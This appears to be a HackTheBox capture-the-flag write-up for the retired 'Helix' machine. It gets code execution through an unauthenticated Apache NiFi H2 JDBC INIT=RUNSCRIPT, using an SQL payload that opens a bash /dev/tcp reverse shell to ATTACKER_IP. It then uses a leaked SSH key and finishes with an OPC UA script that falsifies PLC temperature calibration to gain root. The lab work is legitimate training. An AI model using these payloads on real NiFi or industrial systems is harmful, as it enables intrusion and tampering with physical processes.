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[ writeup · case #003 ]

Helix

Foothold via unauthenticated Apache NiFi (CVE-2023-34468) — abusing the H2 database JDBC connector to load a malicious SQL script and get RCE as nifi. Lateral movement to operator via a leaked SSH private key found in NiFi's support bundles. Root via OPC UA manipulation of an industrial PLC…

date
2026-05-09
read
3 min
tags
#htb #retired
platform
htb
os
linux
difficulty
medium

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a helix.htb -- -A
text
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 [REDACTED:IP][REDACTED:IP]:1e (ECDSA)
|_  256 [REDACTED:IP][REDACTED:IP]:b3 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)

Key findings:

  • Port 22 — SSH — OpenSSH 8.9p1, nothing exploitable directly
  • Port 80 — nginx — Helix Industries landing page, worth enumerating further

Web / Service Enumeration

The landing page at http://helix.htb is a static corporate site. I run a vhost fuzz to check for subdomains:

bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://helix.htb \
  -H "Host: FUZZ.helix.htb" \
  -k -fr 302 -fs 200
text
flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1241ms]

flow.helix.htb resolves to an Apache NiFi 1.21.0 instance. Navigating to it, I'm dropped directly into the NiFi canvas — no authentication prompt at all. The version is visible in the bottom-left corner.


Foothold

Apache NiFi ships with an H2 database JAR and exposes JDBC connection pool controller services. The H2 JDBC URL supports an INIT=RUNSCRIPT FROM parameter that fetches and executes an arbitrary SQL file on connection initialization. Since NiFi runs this as a trusted internal action, it bypasses any application-level restrictions and gives direct OS command execution.

I create a malicious SQL file rce.sql on my machine:

sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1')

I serve it with a Python HTTP server and set up a listener:

bash
python3 -m http.server 80
nc -lvnp 4444

In the NiFi UI I go to Configuration → Controller Services → Add DBCPConnectionPool and configure it with the following properties:

PropertyValue
Database Connection URLjdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<ATTACKER_IP>/rce.sql'
Database Driver Class Nameorg.h2.Driver
Database Driver Location(s)work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar

Enabling the controller service triggers the INIT=RUNSCRIPT immediately, fetching and executing my SQL. The reverse shell lands as nifi.

<!-- image: reverse shell landing -->

I stabilize the shell:

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

User

Poking around the NiFi installation, I find a backup SSH key sitting in the support bundles directory:

bash
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

It's a passwordless ed25519 private key. I SSH in as operator directly:

bash
ssh -i /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak operator@localhost
bash
cat ~/user.txt

Privilege Escalation

sudo -l shows operator can run /usr/local/sbin/helix-maint-console as root with no password. Running it returns Maintenance window CLOSED. — strings analysis of the binary reveals it checks for the existence of /opt/helix/state/maintenance_window, a file written by the PLC process when reactor telemetry hits hazardous thresholds (Temperature ≥ 295°C or Pressure ≥ 73 bar).

The machine runs an OPC UA server at opc.tcp://127.0.0.1:4840/helix/ and a local HMI at http://127.0.0.1:8081. I browse the OPC UA node tree using asyncua and find the relevant writable nodes under ns=2:

NodeIDDescription
Modens=2;i=12Control mode (NORMAL / MAINTENANCE)
TestOverridens=2;i=13Enables writes to calibration
CalibrationOffsetns=2;i=6Added to raw temperature
Temperaturens=2;i=4Computed temperature reading

The trick is that CalibrationOffset only becomes writable when TestOverride=True AND Mode=MAINTENANCE. I write the following exploit:

python
import asyncio
from asyncua import Client
from asyncua.ua import DataValue, Variant, VariantType

async def main():
    async with Client("opc.tcp://127.0.0.1:4840/helix/") as client:
        mode = client.get_node("ns=2;i=12")
        test_override = client.get_node("ns=2;i=13")
        calibration = client.get_node("ns=2;i=6")
        temp_node = client.get_node("ns=2;i=4")

        await mode.write_value(DataValue(Variant("MAINTENANCE", VariantType.String)))
        await test_override.write_value(DataValue(Variant(True, VariantType.Boolean)))

        for offset in [15.0, 20.0, 25.0, 30.0]:
            await calibration.write_value(DataValue(Variant(offset, VariantType.Double)))
            temp = await temp_node.read_value()
            print(f"Offset {offset} -> Temp {temp}")
            if temp >= 295:
                print("[+] Threshold reached")
                break

asyncio.run(main())

I run the script and immediately hit the maintenance console before the PLC resets the values:

bash
python3 /tmp/exploit.py && sleep 1 && sudo /usr/local/sbin/helix-maint-console

The console detects the maintenance window file, grants privileged access, and drops a root shell.


Root Flag

bash
cat /home/light

Key Takeaways

  • Apache NiFi's JDBC connection pool blindly executes H2 INIT=RUNSCRIPT URLs — unauthenticated NiFi instances are trivially exploitable to RCE
  • Backup credentials left in application directories are a common and underestimated lateral movement vector
  • OPC UA is increasingly showing up in HTB machines — understanding industrial protocol node browsing and writes is worth the investment

Resources